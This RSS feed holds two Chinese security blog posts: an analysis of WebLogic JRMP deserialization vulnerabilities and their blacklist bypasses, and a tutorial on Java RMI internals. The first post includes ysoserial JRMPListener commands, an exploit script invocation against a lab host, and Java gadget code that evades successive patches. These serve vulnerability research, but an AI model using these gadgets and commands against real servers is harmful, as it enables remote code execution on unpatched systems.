<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>JRMP &#8211; ChaBug安全</title>
	<atom:link href="/tags/jrmp/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Thu, 30 Jul 2020 04:56:44 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Weblogic JRMP反序列化及绕过分析</title>
		<link>/audit/1275.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 27 Feb 2020 07:15:27 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[JRMP]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[weblogic]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1275</guid>

					<description><![CDATA[前言 JRMP是Java使用的另一种数据传输协议，在前文中提到了传输过程中会自动序列化和反序列化，因此weblogic出现了一系列的漏洞，即CVE-2017-3248、CVE-20...]]></description>
										<content:encoded><![CDATA[<h2>前言</h2>
<p><span class="wpcom_tag_link"><a href="/tags/jrmp" title="JRMP" target="_blank">JRMP</a></span>是Java使用的另一种数据传输协议，在前文中提到了传输过程中会自动序列化和<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>，因此<span class="wpcom_tag_link"><a href="/tags/weblogic" title="weblogic" target="_blank">weblogic</a></span>出现了一系列的漏洞，即CVE-2017-3248、CVE-2018-2628、CVE-2018-2893、CVE-2018-3245，众所周知weblogic打补丁的形式为黑名单，所以CVE-2017-3248之后的洞都为黑名单绕过，本文逐一讲解。</p>
<h2>CVE-2017-3248</h2>
<h3>复现</h3>
<p>因为本机没有python2，就直接在虚拟机里复现了。使用ysoserial监听JRMP服务</p>
<pre><code class="">./Oracle/Middleware/jdk160_29/jre/bin/java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8080 CommonsCollections1 'touch /tmp/success'
</code></pre>
<p><a class="wp-editor-md-post-content-link" href="https://www.exploit-db.com/exploits/44553">下载python版exp脚本</a> ，运行</p>
<pre><code class="">python 44553.py 172.16.2.129 7001 ./ysoserial.jar 172.16.2.129 8080 JRMPClient
</code></pre>
<p>成功创建/tmp/success文件<br />
<img src="https://y4er.com/img/uploads/20200226205381.png" alt="image" /></p>
<h3>分析</h3>
<p>JRMP在前文中提到了在传输过程中也会自动序列化和反序列化，那么我们可以构造一个gadgets，通过T3协议让weblogic自动请求我们的JRMPListener，然后JRMPListener返回给他一个恶意的gadgets对象，weblogic自动反序列化恶意对象，达到<span class="wpcom_tag_link"><a href="/tags/rce" title="rce" target="_blank">rce</a></span>。</p>
<p>过程如图<br />
<img src="/wp-content/uploads/2020/02/20200226201443.png" alt="image" /></p>
<p>整个构造需要两步<br />
1. 构造T3协议的payload，让weblogic请求我们的JRMP -> 复现中的python脚本<br />
2. 构造JRMPListener返回的gadgets                                -> 复现时监听JRMPListener</p>
<p>看下python脚本，发现脚本中是使用ysoserial生成payload.out，然后读出hex构造t3发包<br />
<img src="/wp-content/uploads/2020/02/20200226206003.png" alt="image" /></p>
<p>看下JRMPClient.<span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>的代码<br />
<img src="/wp-content/uploads/2020/02/20200226200969.png" alt="image" /></p>
<p>利用java.rmi.registry.Registry，序列化RemoteObjectInvocationHandler，并使用UnicastRef和远端建立tcp连接，获取RMI registry，序列化之后发送给weblogic，weblogic会请求我们的JRMPListener，然后将获取的内容利用readObject()进行解析，导致恶意代码执行。</p>
<h3>改造weblogic_cmd</h3>
<p>BypassPayloadSelector.java</p>
<pre><code class="language-java ">public static Object selectBypass(Object payload) throws Exception {

    if (Main.TYPE.equalsIgnoreCase("marshall")) {
        payload = marshalledObject(payload);
    } else if (Main.TYPE.equalsIgnoreCase("streamMessageImpl")) {
        payload = streamMessageImpl(Serializables.serialize(payload));
    }else if(Main.TYPE.equalsIgnoreCase("JRMPListener")){
        payload = JRMPListener(cmdLine.getOptionValue("H")+":"+ cmdLine.getOptionValue("P"));
    }
    return payload;
}

public static Registry JRMPListener(String command) throws Exception {

    String host;
    int port;
    int sep = command.indexOf(':');
    if (sep &lt; 0) {
        port = new Random().nextInt(65535);
        host = command;
    } else {
        host = command.substring(0, sep);
        port = Integer.valueOf(command.substring(sep + 1));
    }
    ObjID id = new ObjID(new Random().nextInt()); // RMI registry
    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
    Registry proxy = (Registry) Proxy.newProxyInstance(BypassPayloadSelector.class.getClassLoader(), new Class[]{
        Registry.class
            }, obj);
    return proxy;
}
</code></pre>
<p>weblogic_cmd是一个很方便发送t3协议数据的工具，改了改通过参数-T来指定JRMPClient，加了一个JRMPClient方法，仍然需要用ysoserial.jar监听JRMPListener。</p>
<pre><code class="">java -cp yso.jar ysoserial.exploit.JRMPListener 8080 CommonsCollections1 "curl http://172.16.1.1/"
</code></pre>
<h2>CVE-2018-2628</h2>
<p>先看CVE-2017-3248的补丁</p>
<pre><code class="language-java ">protected Class&lt;?&gt; resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
    String[] arr$ = interfaces;
    int len$ = interfaces.length;

    for(int i$ = 0; i$ &lt; len$; ++i$) {
        String intf = arr$[i$];
        if (intf.equals("java.rmi.registry.Registry")) {
            throw new InvalidObjectException("Unauthorized proxy deserialization");
        }
    }

    return super.resolveProxyClass(interfaces);
}
</code></pre>
<p>思路一：resolveProxyClass反序列化代理类才会调用，直接反序列化UnicastRef对象，调用sum.rmi.server.UnicastRef#readExternal。</p>
<pre><code class="language-java ">public Registry getObject(final String command) throws Exception {

    String host;
    int port;
    int sep = command.indexOf(':');
    if (sep &lt; 0) {
        port = new Random().nextInt(65535);
        host = command;
    } else {
        host = command.substring(0, sep);
        port = Integer.valueOf(command.substring(sep + 1));
    }
    ObjID id = new ObjID(new Random().nextInt()); // RMI registry
    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    return ref;
}
</code></pre>
<p>这样绕过之后补丁把UnicastRef加入了黑名单。</p>
<p>思路二：使用java.rmi.registry.Registry之外的类。廖新喜用的<code>java.rmi.activation.Activator</code></p>
<pre><code class="language-java ">public Registry getObject(final String command) throws Exception {
    String host;
    int port;
    int sep = command.indexOf(':');
    if (sep &lt; 0) {
        port = new Random().nextInt(65535);
        host = command;
    } else {
        host = command.substring(0, sep);
        port = Integer.valueOf(command.substring(sep + 1));
    }
    ObjID id = new ObjID(new Random().nextInt()); // RMI registry
    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
    Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient3.class.getClassLoader(), new Class[] {
        Activator.class
            }, obj);
    return proxy;
}
</code></pre>
<h2>CVE-2018-2893</h2>
<p>由于weblogic一直没有处理streamMessageImpl，导致CVE-2016-0638 + CVE-2018-2628 = CVE-2018-2893，用streamMessageImpl封装一下而已。</p>
<h2>CVE-2018-3245</h2>
<p>RMIConnectionImpl_Stub代替RemoteObjectInvocationHandler，实际上就是找RemoteObject类的子类。https://github.com/pyn3rd/CVE-2018-3245</p>
<h2>总结</h2>
<p>一切罪恶的源头都是T3协议，weblogic还是禁用T3协议为好。weblogic黑名单补丁总是治标不治本，无奈的是补丁需要付费才能下载到。</p>
<h2>参考</h2>
<ol>
<li>https://www.cnblogs.com/afanti/p/10256840.html</li>
<li>https://seaii-blog.com/index.php/2019/12/29/92.html</li>
<li>https://github.com/pyn3rd/CVE-2018-2893</li>
<li>https://mp.weixin.qq.com/s/ohga7Husc9ke5UYuqR92og</li>
<li><a class="wp-editor-md-post-content-link" href="http://xxlegend.com/2018/06/20/CVE-2018-2628%20%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/">廖新喜 CVE-2018-2628 简单复现与分析</a></li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Java RMI原理及反序列化学习</title>
		<link>/audit/1221.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 15 Feb 2020 17:16:43 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[JRMP]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[RMI]]></category>
		<category><![CDATA[ysoserial]]></category>
		<category><![CDATA[反序列化]]></category>
		<category><![CDATA[审计]]></category>
		<guid isPermaLink="false">/?p=1221</guid>

					<description><![CDATA[RMI 远程方法调用 RMI简介 Java远程方法调用，即Java RMI（Java Remote Method Invocation）是Java编程语言里，一种用于实现远程过程调...]]></description>
										<content:encoded><![CDATA[<p><span class="wpcom_tag_link"><a href="/tags/rmi" title="RMI" target="_blank">RMI</a></span> 远程方法调用</p>
<h2>RMI简介</h2>
<p>Java远程方法调用，即Java RMI（Java Remote Method Invocation）是Java编程语言里，一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。</p>
<p>接口的两种常见实现方式是：最初使用<span class="wpcom_tag_link"><a href="/tags/jrmp" title="JRMP" target="_blank">JRMP</a></span>（Java Remote Message Protocol，Java远程消息交换协议）实现；此外还可以用与CORBA兼容的方法实现。RMI一般指的是编程接口，也有时候同时包括JRMP和API（应用程序编程接口），而RMI-IIOP则一般指RMI接口接管绝大部分的功能，以支持CORBA的实现。</p>
<p>最初的RMI API设计为通用地支持不同形式的接口实现。后来，CORBA增加了传值（pass by value）功能，以实现RMI接口。然而RMI-IIOP和JRMP实现的接口并不完全一致。</p>
<p>更多参考 <a class="wp-editor-md-post-content-link" href="https://www.jianshu.com/p/362880b635f0">JAVA RPC：从上手到爱不释手</a></p>
<h2>RMI架构</h2>
<p>RMI分为三部分<br />
1. Registry 类似网关<br />
2. Server 服务端提供服务<br />
3. Client 客户端调用</p>
<p>实现RMI所需的API几乎都在：<br />
&#8211; <span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>.rmi：提供客户端需要的类、接口和异常；<br />
&#8211; java.rmi.server：提供服务端需要的类、接口和异常；<br />
&#8211; java.rmi.registry：提供注册表的创建以及查找和命名远程对象的类、接口和异常；</p>
<p>上代码，服务端</p>
<pre><code class="language-java line-numbers">package com.test.rmi;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    public static String HOST = "127.0.0.1";
    public static int PORT = 8989;
    public static String RMI_PATH = "/hello";
    public static final String RMI_NAME = "rmi://" + HOST + ":" + PORT + RMI_PATH;

    public static void main(String[] args) {
        try {
            // 注册RMI端口
            LocateRegistry.createRegistry(PORT);

            // 创建一个服务
            RMIInterface rmiInterface = new RMIImpl();

            // 服务命名绑定
            Naming.rebind(RMI_NAME, rmiInterface);

            System.out.println("启动RMI服务在" + RMI_NAME);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}
</code></pre>
<p>上述代码中，在8989端口起了RMI服务，以键值对的形式存储了RMI_PATH和rmiInterface的对应关系，也就是<code>rmi://127.0.0.1:8989/hello</code>对应一个RMIImpl类实例，然后通过<code>Naming.rebind(RMI_NAME, rmiInterface)</code>绑定对应关系。再来看RMIInterface.java</p>
<pre><code class="language-java line-numbers">package com.test.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMIInterface extends Remote {
    String hello() throws RemoteException;
}
</code></pre>
<p>定义了RMIInterface接口，继承自Remote，然后定义了一个hello()方法作为接口。注意需要抛出RemoteException异常。继续看实现真正功能的类RMIImpl.java</p>
<pre><code class="language-java line-numbers">package com.test.rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RMIImpl extends UnicastRemoteObject implements RMIInterface {
    protected RMIImpl() throws RemoteException {
        super();
    }

    @Override
    public String hello() throws RemoteException {
        System.out.println("call hello().");
        return "this is hello().";
    }

}
</code></pre>
<p>继承自UnicastRemoteObject类，并且实现之前定义的RMIInterface接口的hello()方法。UnicastRemoteObject类提供了很多支持RMI的方法，具体来说，这些方法可以通过JRMP协议导出一个远程对象的引用，并通过动态代理构建一个可以和远程对象交互的Stub对象。现在就定义好了Server端，来看Client</p>
<pre><code class="language-java line-numbers">package com.test.rmi;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import static com.test.rmi.RMIServer.RMI_NAME;

public class RMIClient {
    public static void main(String[] args) {
        try {
            // 获取服务注册器
            Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8989);
            // 获取所有注册的服务
            String[] list = registry.list();
            for (String i : list) {
                System.out.println("已经注册的服务：" + i);
            }

            // 寻找RMI_NAME对应的RMI实例
            RMIInterface rt = (RMIInterface) Naming.lookup(RMI_NAME);

            // 调用Server的hello()方法,并拿到返回值.
            String result = rt.hello();

            System.out.println(result);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p>我们可以通过Registry拿到所有已经注册的服务，其中就包括我们注册的hello。然后可以通过Naming.lookup(RMI_NAME)去寻找对应的hello实例，这样就拿到了远程对象，可以直接通过对象来调用hello()方法。</p>
<p>在Java 1.4及 以前的版本中需要手动建立Stub对象，通过运行rmic命令来生成远程对象实现类的Stub对象，但是在Java 1.5之后可以通过动态代理来完成，不再需要这个过程了。运行Server之后再运行Client输出结果</p>
<pre><code class="line-numbers">Server
启动RMI服务在rmi://127.0.0.1:8989/hello
call hello().

Client
已经注册的服务：hello
this is hello().
</code></pre>
<p>那么Registry去哪了？通常在新建一个RMI Registry的时候，都会直接绑定一个对象在上面，也就是说我们示例代码中的Server其实包含了Registry和Server两部分。我们用一张图来解释下。</p>
<p><img src="https://y4er.com/img/uploads/20200216017286.png" alt="image" /></p>
<h2>RMI的通信模型</h2>
<p>上一部分我提到了Stub对象，是因为RMI底层通讯采用了Stub(运行在客户端)和Skeleton(运行在服务端)机制，真正的调用过程如图所示。</p>
<p><img src="https://y4er.com/img/uploads/20200216011185.png" alt="image" /></p>
<p>Client调用远程方法时，会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)对象，然后将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象，RemoteCall序列化服务名和Remote对象，RemoteRef将序列化之后的数据通过socket传输到Server的RemoteRef。</p>
<p>Server的RemoteRef收到远程调用请求之后，将数据传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)，Skeleton调用RemoteCall<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>传过来的数据，Skeleton处理客户端请求如：bind、list、lookup、rebind、unbind，如果是lookup则查找RMI服务名绑定的接口对象，序列化该对象并通过RemoteCall传输到Client。</p>
<p>Client反序列化Server返回的序列化数据从而获得远程对象的引用。然后Client调用远程方法，Server反射执行对应方法并将结果序列化传输给Client，Client反序列化结果，整个过程结束。</p>
<h2>RMI需要解决的问题</h2>
<p>其实很明显的有两大问题<br />
1. 数据的传递问题<br />
2. 远程对象如何发现</p>
<h3>数据传递</h3>
<p>Java中是存在引用类型的，当引用类型的变量作为参数被传递时，传递的不是值，而是内存地址，而对于一台机器上的同一个Java虚拟机来讲，引用传递当然没有问题，而对于分布式的RPC调用，引用传递的内存地址在两个Java虚拟机中并不对等，所以怎么解决呢？</p>
<ol>
<li>使用序列化传递</li>
<li>仍然用引用传递，每当远程主机调用本地主机方法时，该调用还要通过本地主机查询该引用对应的对象</li>
</ol>
<p>RMI中的参数传递和结果返回可以使用的三种机制（取决于数据类型）：</p>
<p>简单类型：按值传递，直接传递数据拷贝；<br />
远程对象引用（实现了Remote接口）：以远程对象的引用传递；<br />
远程对象引用（未实现Remote接口）：按值传递，通过序列化对象传递副本，本身不允许序列化的对象不允许传递给远程方法</p>
<h3>远程对象发现</h3>
<p>RMI解决方式就是类似于域名对应IP的解决方式，<code>rmi://host:port/name</code>，不同的name对应不同的远程对象，注意主机和端口都是可选的，如果省略主机，则默认运行在本地；如果端口也省略，则默认端口是1099。</p>
<h2>RMI的序列化和反序列化</h2>
<p>在RMI的通信过程中，用到了很多的序列化和反序列化，而在Java中，只要进行反序列化操作就可能有漏洞。RMI通过序列化传输Remote对象，那么我们可以构造恶意的Remote对象，当服务端反序列化传输过来的数据时，就会触发反序列化。</p>
<p>利用的话我们可以使用<span class="wpcom_tag_link"><a href="/tags/ysoserial" title="ysoserial" target="_blank">ysoserial</a></span>，如图<br />
<img src="https://y4er.com/img/uploads/20200216016965.png" alt="image" /></p>
<p>客户端在sun.rmi.registry.RegistryImpl_Stub#bind中进行了序列化，这个类是动态生成的，所以在源码中找不到这个类。<br />
<img src="https://y4er.com/img/uploads/2020021601567.png" alt="image" /></p>
<p>服务端在sun.rmi.registry.RegistryImpl_Skel#dispatch 进行反序列化，同样是动态生成类。<br />
<img src="https://y4er.com/img/uploads/20200216014183.png" alt="image" /></p>
<h2>RMI-JRMP反序列化</h2>
<p>JRMP接口的两种常见实现方式：<br />
1. JRMP协议(Java Remote Message Protocol)，RMI专用的Java远程消息交换协议。<br />
2. IIOP协议(Internet Inter-ORB Protocol) ，基于 CORBA 实现的对象请求代理协议。</p>
<p>JRMP在传输过程中也会自动序列化和反序列化，利用过程和RMI一样，不再此赘述。</p>
<h2>参考链接</h2>
<ol>
<li>https://javasec.org/javase/RMI/</li>
<li>https://blog.csdn.net/lmy86263/article/details/72594760</li>
<li>https://www.cnblogs.com/afanti/p/10256840.html</li>
<li>https://xz.aliyun.com/t/5392</li>
<li>https://blog.51cto.com/guojuanjun/1423392</li>
<li>https://blog.hufeifei.cn/2017/12/14/Java/RMI%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90/</li>
<li>https://www.jianshu.com/p/362880b635f0</li>
<li>https://www.anquanke.com/post/id/197829</li>
<li>https://xz.aliyun.com/t/2223 [这篇很清晰]</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
